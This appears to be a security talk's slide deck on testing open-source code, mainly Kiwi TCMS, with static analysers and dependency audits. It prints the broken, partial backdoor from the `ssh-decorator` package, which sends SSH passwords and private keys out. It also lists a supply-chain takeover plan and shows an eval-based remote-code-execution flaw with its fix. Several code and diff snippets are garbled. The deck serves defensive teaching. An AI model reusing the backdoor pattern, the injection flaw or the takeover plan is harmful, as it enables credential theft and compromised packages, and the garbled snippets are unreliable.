Finding security issues in open source by doing regular testing
What developers usually do

..... install ..... 
git commit 
git push
Backdoor in `ssh-decorator` package

Do not install or use the `ssh-decorator` package from Pip. It has a backdoor inserted to steal all your SSH credentials. I've already contacted the developer to take it out. He hasn't responded so for now, use at your own risk! [https://ibb.co/kDk67](https://ibb.co/kDk67)

**UPDATE:** The compromised package has been taken down now.

```python
from itertools import chain

try:
    from urllib.request import urlopen
    from urllib.parse import urlencode

    def log(data):
        try:
            post = bytes(urlencode(data), "utf-8")
            res = handler.read().decode('utf-8')
        except:
            pass

except:
    from urllib import urlencode
    import urllib2

    def log(data):
        try:
            post = urlencode(data)
            response = urllib2.urlopen(req)
            res = response.read()
        except:
            pass

self.port = port
self.verbose = verbose
# initiate connection
self.ssh_client = paramiko.SSHClient()
self.ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
privateKeyFile = private_key_file if os.path.isfile(privateKeyFile) else os.path.expanduser(privateKeyFile)
pdata = ""

if os.path.exists(privateKeyFile):
    privateKey = paramiko.RSAKey.from_private_key_file(privateKeyFile)
    self.ssh_client.connect(server, port=port, username=user, pkey=privateKey)
else:
    with open(privateKeyFile, 'r') as f:
        pdata = f.read()

except:
    pdata = ""

self.ssh_client.connect(server, port=port, username=user, password=password)
log("["server": server, "port": port, "pkey": pdata, "password": password, "user":user]
self.chan = self.ssh_client.invoke_shell()
self.stdout = self.chan.exec_command(("PS1=\"python-ssh\"\") # ignore welcome message
self.stdin = ""
```
1. Go through the most popular inactive open source libraries
2. Reach out to author and ask to help out
3. Get push access and release a compromised version
4. Reach 2 million applications within a week

he emailed me and said he wanted to maintain the module, so I gave it to him. I don't get any thing from maintaining this module, and I don't even use it anymore, and haven't for years.
DoS bug in django-attachments

Files removed from DB, not from disk:
https://github.com/bartTC/django-attachments/pull/44
Similar bug in Kiwi TCMS

Kiwi TCMS 8e05263

[security] Don't log passwords for XML-RPC calls
class XMLRPCHandler(handlers.XMLRPCHandler):
    def process_request(self):
        ...            # e.g. Auth.login or User.update
        log_call(self.request, method_name, params)
        return super().process_request()

class JSONRPCHandler(handlers.JSONRPCHandler):
    # also uses log_call(), can diverge over time !!!
    ....
Agenda

• Application under test
  • test scenarios, static analysis tools

• Software dependencies
  • more static analysis examples

• Test infrastructure
  • because it is a possible target

• Usability & security
  • these 2 should always go together
Kiwi TCMS
the leading open source test case management system

- Efficiently manage test cases, plans and runs
- Improve testing productivity & reporting
- Integrates with popular issue trackers
- External API interface
- GPL 2 licensed

Open source test case management system, with a lot of great features, such as bug tracker integration, fast search, powerful access control and external API.

http://kiwitcms.org
How to analyze SUT?

WHO: Users, Groups, Permissions

WHERE: API end-points, HTTP request handlers, UI & templates

WHAT: Create, Edit, Modify (related properties)

DISTRIBUTION: tar.gz, Docker image, AWS AMI ?!?
Bogus permissions in API

@permissions_required('testcases.add_testcase')
def create(values, **kwargs):
    .......
    - # manually add tags w/o checking permissions
    - for tag in values.get('tag', []):
    -     tag, _ = Tag.objects.get_or_create(name=tag)
    -     test_case.add_tag(tag=tag)

@permissions_required('testcases.add_testcasetag')
def add_tag(case_id, tag, **kwargs):
Bogus permissions in HTML template

Kiwi TCMS a7ff135

-{% if perms.management.add_tag %}
+{% if perms.testplans.add_testplantag %}
    <input id="id_tags" type="text" name="tags">
    <button>Add Tag</button>
{% endif %}
HTTP handlers ignoring permissions

Kiwi TCMS 519de64, efc00ca

Missing @permissions_required

Kiwi TCMS 214191c

yet another UI which ignored permissions

FIX: make them re-use API and other existing methods!
Омский
Мясокомбинат

(c) http://www.omsklogo.ru/o-ru/viewdownload/16-o/93-omskij-myasokombinat.html
Тот случай, когда станция метро контрибютирует больше чем ты!
security linter for Python

https://github.com/PyCQA/bandit - AST based parser from OpenStack

$ bandit -r *.py tcms/ tcms_api/ kiwi_lint/
Examples

B102  exec_used
B103  set_bad_file_permissions
B105  hardcoded_password_string
B307  eval
B311  random
B501  request_with_no_cert_validation
B502  ssl_with_bad_version
B503  ssl_with_bad_defaults
B504  ssl_with_no_version
B505  weak_cryptographic_key
B507  ssh_no_host_key_verification
B611  django_rawsql_used
Remote code execution

1 >> Issue: [B102:exec_used] Use of exec detected.

eval('import tcms.%s as form' % request.GET.get('app_form'))
__import__('tcms.%s' % request.GET.get('app_form'))

q_app_module = sys.modules['tcms.%s.forms' % app_form]
form_class = getattr(q_app_module, '....Form')
form_params = form_class(initial=parameters)

html = getattr(form_params, 'as_p')
return HttpResponse(html()) # aka F.as_p() in Django
The fix

@require_GET
def form_automated(request):
    form = CaseAutomatedForm()
    return HttpResponse(form.as_p())
107 >> Issue: [B106:hardcoded_password_funcarg] Possible hardcoded password: 'password'

```python
cls.new_user = User.objects.create(
    username='new-tester',
    email='new-tester@example.com',
    password='password')
```

Safe to ignore in tests!

```python
# directory for Bugzilla credentials
bugzilla_cache_dir = '/tmp/.bugzilla/'
+ bugzilla_cache_dir = getattr(
+     settings,
+     "BUGZILLA_AUTH_CACHE_DIR",
+     tempfile.mkdtemp(prefix='.bugzilla-')
+ )

if not os.path.exists(bugzilla_cache_dir):
    os.makedirs(bugzilla_cache_dir, 0o700)
```
Try-Except-Pass

5 >> Issue: [B110:try_except_pass] Try, Except, Pass detected.

for test_run in self.test_runs:
-    try:
-        test_run.remove_env_value(
-            env_value=self.get_env_value(
-                request.GET.get('env_value_id')))
-    except Exception:
-        continue # pass
+    test_run.remove_env_value(
+        env_value=self.get_env_value(
+            request.GET.get('env_value_id')))}
Try-Except-Continue

1 >> Issue: [B112:try_except_continue] Try, Except, Continue detected.

Do not blindly silence exceptions when dealing with untrusted data!

Not reported in Sentry, no alerts, no logs! Nothing!

Need it Robust? Make it Fragile! -Yegor Bugayenko
https://www.youtube.com/watch?v=nCGBgI1MnwE
Invalid literal for int() with base 16: 'TC1'

```python
django/core/handlers/exception.py in inner at line 55

django/core/handlers/base.py in _get_response at line 128

django/core/handlers/base.py in _get_response at line 126

django/views/decorators/http.py in inner at line 40

toms/testruns/views.py in load_runs_of_one_plan at line 357

352.
353.    tp = TestPlan.objects.get(plan_id=plan_id)
354.    form = PlanFilterRunForm(request.GET)
355.
356.    if form.is_valid():
357.        queryset = tp.run.filter(**form.cleaned_data)
358.            queryset = queryset.select_related(
359.                'build', 'manager', 'default_tester').order_by('-pk')
360.
361.    dt = DataTableResult(request.GET, queryset, column_names)
362.    response_data = dt.get_response_data()

column_names =
[  
    'failure_caseruns_percent',
    '',
    'total_num_caseruns',
    'summary',
    'step_date',
    'start_date',
    'successful_caseruns_percent',
    'build_name',
    'manager__username',
    'run_id',
]```
Insecure hash function

2 >> Issue: [B303:blacklist] Use of insecure MD2, MD4, or MD5 hash function.

def set_random_key_for_user(cls, user, force=False):
    - salt = sha1(str(random.random())).hexdigest()[:5]
    - activation_key = sha1((salt + user.username)).hexdigest()
+    salt = checksum(str(random.random()))[:5]
+    activation_key = checksum(salt + user.username)

Use the same checksum() helper everywhere!
Upgrade to SHA256
Using `random()` for anything!

3 >> Issue: [B311:blacklist] Standard pseudo-random generators are not suitable for security/cryptographic purposes.

```python
def set_random_key_for_user(cls, user, force=False):
    - salt = checksum(str(random.random()))[:5]
    - activation_key = checksum(salt + user.username)
+ activation_key = secrets.token_hex()
```

Do not use `random()`!
Use Python 3.6 `secrets` module
Avoid hashing the salt then hashing salt+username!
Parsing XML (ODF) in Python

1 >> Issue: [B314:blacklist] Using xml.etree.ElementTree.fromstring to parse untrusted XML data is known to be vulnerable to XML attacks...


Parsing file formats is hard
Input more dangerous than output
Remove CSV, XML, Excel (!) in favor of API
Medium impact Outstanding Defect per Category

- Incorrect expression: Outstanding defects
- API usage errors: Outstanding defects
- Null pointer dereferences: Outstanding defects
- Control flow issues: Outstanding defects
// Presume the first form element is the form
- if (!form.tagName === 'FORM') {
+ if (form.tagName !== 'FORM') {

form.tagName will cast the value to Boolean and then compare it with the string constant which equals False
Expression with no effect: CID #289974

(function() {
-  'use restrict';
-
    var TestCases = window.KiwiTCMS.TestCases || {};

http://restrictmode.org, 2011-2012
Opt-in subset of JavaScript that changes operators semantics

*It's not very likely, that a JS engine could add built-in support for restrict mode in the future. -- the author*

Not to be confused with JavaScript strict mode!
def request_host_link(request=None, domain_name=None):
    if request is None and settings.DEBUG is False:
        protocol = 'https://'
    elif request and request.is_secure():
        protocol = 'https://'
    else:
        protocol = 'http://'

    if not domain_name:
        domain_name = request.get_host()
        # ^^^ can still be None here
    return protocol + domain_name
def request_host_link(request, domain_name=None):
    protocol = 'https://'

    if request:
        if not domain_name:
            domain_name = request.get_host()
        if not request.is_secure():
            protocol = 'http://'

    return protocol + domain_name
Typo in identifier: CID #289923

```python
- return EnvValue.objects.filter(
    property__id=self.request.GET.get('env_property_id'))
+ return EnvValue.objects.filter(
    property_id=self.request.GET.get('env_property_id'))
```

`property_id`  == FK field with name `property_id`, no JOIN

`property__id` == field `id` of JOIN-ed model Property

WARNING: some model PKs are not named `id`
software dependencies

==

how much do you trust other people
### Analysis Metrics per Components

<table>
<thead>
<tr>
<th>Component Name</th>
<th>Pattern</th>
<th>Ignore</th>
<th>Line of Code</th>
<th>Defect density</th>
</tr>
</thead>
<tbody>
<tr>
<td>Nodejs dependencies</td>
<td>.<em>/node_modules/.</em></td>
<td>No</td>
<td>671,350</td>
<td>0.12</td>
</tr>
<tr>
<td>Python dependencies</td>
<td>.<em>/python3.6/site-packages/.</em></td>
<td>No</td>
<td>1,434,494</td>
<td>0.14</td>
</tr>
<tr>
<td>Kiwi TCMS API client</td>
<td>.<em>/tcms_api/.</em></td>
<td>No</td>
<td>173</td>
<td>0.00</td>
</tr>
<tr>
<td>Kiwi TCMS Django app</td>
<td>.<em>/tcms/.</em>..py</td>
<td>No</td>
<td>19,303</td>
<td>0.05</td>
</tr>
<tr>
<td>Kiwi TCMS JavaScript code</td>
<td>.<em>/tcms/.</em>..js</td>
<td>No</td>
<td>9,545</td>
<td>0.10</td>
</tr>
<tr>
<td>Other</td>
<td>.*</td>
<td>No</td>
<td>14,956</td>
<td>0.00</td>
</tr>
</tbody>
</table>

### CWE Top 25 defects

No top 25 CWE defects were found.
Bandit vs. site-packages/

21K LOC vs. 990K LOC

~ 130 issues fixed vs. > 4000 issues

69 High, 526 Medium severity!
Top 3 issues

- 22: input() vs. raw_input()
  - https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b322-input
- 10: Start process with a shell
  - https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html
- 7: subprocess.open(shell=True)
Coverity vs. site-packages/ & node_modules/

30K LOC vs. 2M LOC

2 issues vs. 279 from dependencies

defect density 0.05-0.10 vs 0.40
Top 3 issues

• 152: Control flow issues
  
  ```python
  if among_var == 0:
      return False
  
  # in snowball_py::russian_stemmer.py
  if among_var == 0:
      return False
  ```

• 71: Incorrect expression – many coming from test suites !!!

• 62: Null pointer dereferences
  
  property access of null-like value (lots of issues in d3.js)
Create Image

- **Blueprint**: example-http-server
- **Image Type**: Amazon Machine Image Disk (.ami)
- **Architecture**: x86_64
npm audit

https://docs.npmjs.com/getting-started/running-a-security-audit

2 High (jQuery different versions)
3 Moderate
5 Low

Only 1 issue remains to be fixed in welder-web
These dependencies are defined in `welder-web`'s manifest files, such as `package.json` and `end-to-end/package.json`.

<table>
<thead>
<tr>
<th>Dependencies defined in <code>package.json</code></th>
<th>38</th>
</tr>
</thead>
<tbody>
<tr>
<td>ztoben / assets-webpack-plugin</td>
<td>^3.9.6</td>
</tr>
<tr>
<td>postcss / autoprefixer</td>
<td>^6.3.7</td>
</tr>
<tr>
<td>babel / babel</td>
<td>^6.26.0</td>
</tr>
<tr>
<td>babel / babel-cli</td>
<td>^6.11.4</td>
</tr>
<tr>
<td>babel / babel-core</td>
<td>^6.1.2</td>
</tr>
<tr>
<td>babel / babel-eslint</td>
<td>^6.1.2</td>
</tr>
<tr>
<td>facebook / jest</td>
<td>^16.0.0</td>
</tr>
<tr>
<td>babel / babel-loader</td>
<td>^6.2.4</td>
</tr>
<tr>
<td>istanbuljs / babel-plugin-istanbul</td>
<td>^4.1.4</td>
</tr>
</tbody>
</table>
We found potential security vulnerabilities in your dependencies.

Some of the dependencies defined in these manifest files have known security vulnerabilities and should be updated:

`./Gemfile.lock` 34 vulnerabilities found

Only users who have been granted access to vulnerability alerts for this repository can see this message. Learn more about vulnerability alerts

These dependencies have been defined in octo-project's manifest files, such as Gemfile.lock.

- rails / rails actionpack
- rails / rails activerecord
- rails / rails activematrix
- thoughtbot / terrapin
- jnunemaker / httparty
- rails / jquery-rails

6 known vulnerabilities found

<table>
<thead>
<tr>
<th>CVE-2016-2098</th>
<th>High severity</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2016-0751</td>
<td>Moderate severity</td>
</tr>
<tr>
<td>CVE-2015-7576</td>
<td>Moderate severity</td>
</tr>
<tr>
<td>CVE-2014-7829</td>
<td>Moderate severity</td>
</tr>
<tr>
<td>CVE-2014-7818</td>
<td>Moderate severity</td>
</tr>
<tr>
<td>CVE-2014-0130</td>
<td>Moderate severity</td>
</tr>
</tbody>
</table>

Gemfile.lock update suggested:

actionpack ~> 3.2.22.2

Always verify the validity and compatibility of your dependencies.
Cross-Site Scripting (XSS)

Vulnerable module: bootstrap
Introduced through: patternfly-react@1.9.3 and patternfly@3.54.8

Detailed paths and remediation

- Introduced through: welder-web@0.0.1 > patternfly-react@1.9.3 > patternfly@3.55.0 > patternfly-bootstrap-treeview@2.1.7 > bootstrap@3.3.7
  Remediation: No remediation path available.
- Introduced through: welder-web@0.0.1 > patternfly-react@1.9.3 > patternfly@3.55.0 > eonasdan-bootstrap-datetimepicker@4.17.47 > bootstrap@3.3.7
  Remediation: No remediation path available.
- Introduced through: welder-web@0.0.1 > patternfly-react@1.9.3 > patternfly@3.55.0 > bootstrap@3.3.7
  Remediation: No remediation path available.

...and 3 more

Overview

bootstrap is an sleek, intuitive, and powerful front-end framework for faster and easier web development.

Affected versions of this package are vulnerable to Cross-Site Scripting (XSS) attacks via the data-target attribute.

https://app.snyk.io/vuln/npm:bootstrap:20160627
npm audit vs. GitHub vs. Snyk differs for the same project
## requirements/base.txt

<table>
<thead>
<tr>
<th>Package</th>
<th>Version</th>
<th>Status</th>
<th>Python Compatibility</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Django</td>
<td>2.0.6</td>
<td>outdated</td>
<td>Python 3</td>
<td></td>
</tr>
<tr>
<td>django-attachments</td>
<td>1.3</td>
<td>pinned</td>
<td>Python 3</td>
<td></td>
</tr>
<tr>
<td>django-grappelli</td>
<td>2.11.1</td>
<td>pinned</td>
<td>Python 3</td>
<td></td>
</tr>
<tr>
<td>django-vinaigrette</td>
<td>1.1.1</td>
<td>pinned</td>
<td>Python 3</td>
<td></td>
</tr>
<tr>
<td>django-uuslug</td>
<td>1.1.8</td>
<td>pinned</td>
<td>Python 3</td>
<td></td>
</tr>
<tr>
<td>odfpy</td>
<td>1.3.6</td>
<td>pinned</td>
<td>Python 3</td>
<td></td>
</tr>
<tr>
<td>python-bugzilla</td>
<td>2.1.0</td>
<td>pinned</td>
<td>Python 3</td>
<td></td>
</tr>
<tr>
<td>jira</td>
<td>1.0.10</td>
<td>outdated</td>
<td>Python 3</td>
<td></td>
</tr>
</tbody>
</table>
Other tools (TODO)

https://github.com/mre/awesome-static-analysis ~ 20 security related tools

https://github.com/python-security/pyt - based on theoretical foundations (Control flow graphs, fixed point, dataflow analysis)

SQLMap & WAPITI from OWASP
$ nodejsscan -d node_modules/

"vuln_count": {
  "Loading of untrusted YAML can cause Remote Code Injection": 1,
  "Unescaped variable in EJS template file": 4,
  "Unescaped variable in Mustache.js/Handlebars.js template file": 1,
  "Unescaped variable in Pug.js template file": 5
}
eslint-plugin-security (?!?)

$ 1246 warnings, mostly

Generic Object Injection Sink security/detect-object-injection

^^^ not sure what to do with this
How secure is your testing infrastructure?

Just a few examples
## Retrospective

**01 Aug 2015**

<table>
<thead>
<tr>
<th>Well done</th>
<th>Issues</th>
<th>Improved</th>
</tr>
</thead>
<tbody>
<tr>
<td>Good team work between members (team was formed from people from different teams)</td>
<td>Not very well prepared/executed demo</td>
<td></td>
</tr>
<tr>
<td>Planning (incremental) - planned 2 small sprints</td>
<td>Not having enough work in team - unevenly loaded team members</td>
<td></td>
</tr>
<tr>
<td>Planning meeting helped clear the issues</td>
<td>Spend more time for the</td>
<td></td>
</tr>
<tr>
<td>Successful sprint</td>
<td>Not persist decisions - we decided on something and not followed it after that</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Not cleared/ not thought through at the beginning</td>
<td></td>
</tr>
</tbody>
</table>
welder/bdcs-cli/pull/31

```bash
6 tests/bin/import-metadata
   test -7.7 -7.8 @ @ set -e
7 # create the Mongodb database if it doesn't exist
8 # ARG1 - OPTIONAL - a content store directory for exports
9 10 -import="/bdcs-import"
11 # needs bdcs.rpm installed
12 +import="/usr/11bexec/weldr/bdcs-import"
13 14   SCHEMA="/schema.sql"
15 16   METADATA="/metadata.db"
19   20   QQQ -19.7 +20.6 @ @ else
20   21   remove_import_repo=0
21   22   if
22   23   -r "$IMPORT" || curl -o "$IMPORT" https://s3.amazonaws.com/weldr/bdcs-import && chmod a+x "$IMPORT"
24   25   sqlitet3 "$METADATA" < "$SCHEMA"
25 26 27 28   QQ -41.5 +41.5 @ @ for F in $DNF_DOWNLOAD/*.rpm; do
28   29   done
30   31   # cleanup temporary directories and files
31   32   -rm -rf "$IMPORT" "$IMPORT" "$SCHEMA" || echo "Can't remove some files"
32   33   +rm -rf "$IMPORT" "$IMPORT" "$SCHEMA" || echo "Can't remove some files"
33   34   [ "$REMOVE_IMPORT_REPO" == 1 ] && rm -rf "$IMPORT_REPO" || echo "Can't remove some files"
```
PR #31 in details

-IMPORT="./bdcs-import"
+IMPORT="/usr/libexec/weldr/bdcs-import"
... do some testing here ...
# cleanup temporary directories and files
-rm -rf $DNF_ROOT $DNF_DOWNLOAD $IMPORT $SCHEMA
+rm -rf $DNF_ROOT $DNF_DOWNLOAD $SCHEMA

^^^^ I forgot to update this line ^^^^^^^
Configure Jenkins plugins & permissions and test it!
At least 255 characters!
A password must be between 6 and 15 characters in length.
„Use MFA Everywhere because passwords are terrible“

Justin Mayer
https://www.youtube.com/watch?v=cK-AH10xHYc
TODO LIST

• Constantly inspect your code
  - with tools like Bandit, Coverity, npm audit, etc

• Inspect other people's code
  - Same tools, different test target

• Treat ALL infrastructure as production
  - b/c test infra is a possible target

• Make apps usable
  - and people will adopt any security solution we offer
HAPPY TESTING!